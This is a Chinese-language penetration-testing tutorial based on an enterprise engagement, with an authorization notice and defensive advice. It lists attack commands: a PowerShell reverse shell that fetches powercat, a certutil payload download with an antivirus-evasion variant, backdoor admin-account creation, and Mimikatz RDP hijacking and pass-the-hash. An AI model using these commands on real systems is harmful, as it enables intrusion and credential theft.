记一次对某企业的渗透测试
字数 1104 2025-08-10 19:49:14

企业渗透测试实战教学文档

1. 授权与声明

  • 合法授权:所有渗透测试必须在授权范围内进行
  • 数据管理:测试流量需留档审计,测试结束后所有数据应安全销毁
  • 设备来源:测试设备应由主办方或客户提供

2. 信息收集阶段

2.1 域名备案查询

  • 官方渠道:工信部ICP/IP地址/域名信息备案管理系统(https://beian.miit.gov.cn/)
    • 优点:信息精准
    • 缺点:需要频繁验证码验证
  • 第三方工具:https://www.beianx.cn/
    • 优点:较少触发验证码
    • 缺点:信息可能不及时或不全面

2.2 子域名与资产发现

  • 搜索引擎语法
    site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
    
  • 工具推荐
    • Fofa
    • Hunter
    • Nmap(用于全端口扫描)

3. 漏洞利用阶段

3.1 SQL注入攻击

  • 发现DBA权限注入点
    • 使用sqlmap进行测试:sqlmap.py -r 1.txt --os-shell
    • 无回显时可尝试DNSLog外带数据

3.2 命令执行与上线

  • PowerShell反弹Shell
    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c [攻击者IP] -p [端口] -e cmd
    
  • 文件下载技巧
    • 使用certutil下载文件(需注意杀软拦截):
      certutil -urlcache -split -f http://ip/6666.exe 6666.exe
      
    • 免杀变体:
      c""""e""""r""""t""""u""""t""""i""""l.exe -urlcache -split -f http://ip/6666.exe 6666.exe
      

4. 权限提升与维持

4.1 提权技术

  • BadPotato提权:适用于Windows Server 2012系统
  • 添加管理员用户
    net user aaa 123qwe... /add
    net localgroup administrators aaa /add
    

4.2 权限维持

  • 进程注入
    1. 在Cobalt Strike中选择会话
    2. 右键-Explore-Process List
    3. 选择常见系统进程
    4. 点击Inject注入

5. 内网横向移动

5.1 远程桌面服务利用

  • 检查RDP状态

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
    
    • 0x1:关闭
    • 0x0:开启
  • 查询RDP端口

    REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
    
    • 注意:返回值为16进制,需转换为10进制

5.2 RDP会话劫持

  • Mimikatz命令
    privilege::debug
    ts::sessions
    token::elevate
    ts::remote /id:[会话ID]
    
  • Pass-the-Hash攻击
    sekurlsa::pth /user:[用户名] /domain:[域名] /ntlm:[NTLM哈希] "/run:mstsc.exe /restrictedadmin"
    

5.3 内网扫描

  • 工具推荐:Tscan(适合内网资产扫描和漏洞利用)
  • 信息收集
    • 检查mstsc连接记录
    • 分析浏览器历史记录和保存的凭据

6. 工具与资源

  • PowerCat:PowerShell版的Netcat
  • BadPotato:Windows提权工具
  • Tscan:内网扫描工具
  • Mimikatz:凭据提取和横向移动工具

7. 防御建议

  1. SQL注入防护

    • 使用参数化查询
    • 最小化数据库账户权限
  2. 权限管理

    • 遵循最小权限原则
    • 定期审计账户权限
  3. 日志监控

    • 监控异常账户创建行为
    • 记录并分析RDP连接日志
  4. 补丁管理

    • 及时更新系统补丁
    • 特别关注提权漏洞修复
  5. 端点防护

    • 限制PowerShell执行策略
    • 监控certutil等工具的异常使用
  6. 网络分段

    • 实施严格的网络隔离
    • 限制内网横向移动路径
企业渗透测试实战教学文档 1. 授权与声明 合法授权 :所有渗透测试必须在授权范围内进行 数据管理 :测试流量需留档审计,测试结束后所有数据应安全销毁 设备来源 :测试设备应由主办方或客户提供 2. 信息收集阶段 2.1 域名备案查询 官方渠道 :工信部ICP/IP地址/域名信息备案管理系统(https://beian.miit.gov.cn/) 优点:信息精准 缺点:需要频繁验证码验证 第三方工具 :https://www.beianx.cn/ 优点:较少触发验证码 缺点:信息可能不及时或不全面 2.2 子域名与资产发现 搜索引擎语法 : 工具推荐 : Fofa Hunter Nmap(用于全端口扫描) 3. 漏洞利用阶段 3.1 SQL注入攻击 发现DBA权限注入点 : 使用sqlmap进行测试: sqlmap.py -r 1.txt --os-shell 无回显时可尝试DNSLog外带数据 3.2 命令执行与上线 PowerShell反弹Shell : 文件下载技巧 : 使用certutil下载文件(需注意杀软拦截): 免杀变体: 4. 权限提升与维持 4.1 提权技术 BadPotato提权 :适用于Windows Server 2012系统 添加管理员用户 : 4.2 权限维持 进程注入 : 在Cobalt Strike中选择会话 右键-Explore-Process List 选择常见系统进程 点击Inject注入 5. 内网横向移动 5.1 远程桌面服务利用 检查RDP状态 : 0x1:关闭 0x0:开启 查询RDP端口 : 注意:返回值为16进制,需转换为10进制 5.2 RDP会话劫持 Mimikatz命令 : Pass-the-Hash攻击 : 5.3 内网扫描 工具推荐 :Tscan(适合内网资产扫描和漏洞利用) 信息收集 : 检查mstsc连接记录 分析浏览器历史记录和保存的凭据 6. 工具与资源 PowerCat :PowerShell版的Netcat BadPotato :Windows提权工具 Tscan :内网扫描工具 Mimikatz :凭据提取和横向移动工具 7. 防御建议 SQL注入防护 : 使用参数化查询 最小化数据库账户权限 权限管理 : 遵循最小权限原则 定期审计账户权限 日志监控 : 监控异常账户创建行为 记录并分析RDP连接日志 补丁管理 : 及时更新系统补丁 特别关注提权漏洞修复 端点防护 : 限制PowerShell执行策略 监控certutil等工具的异常使用 网络分段 : 实施严格的网络隔离 限制内网横向移动路径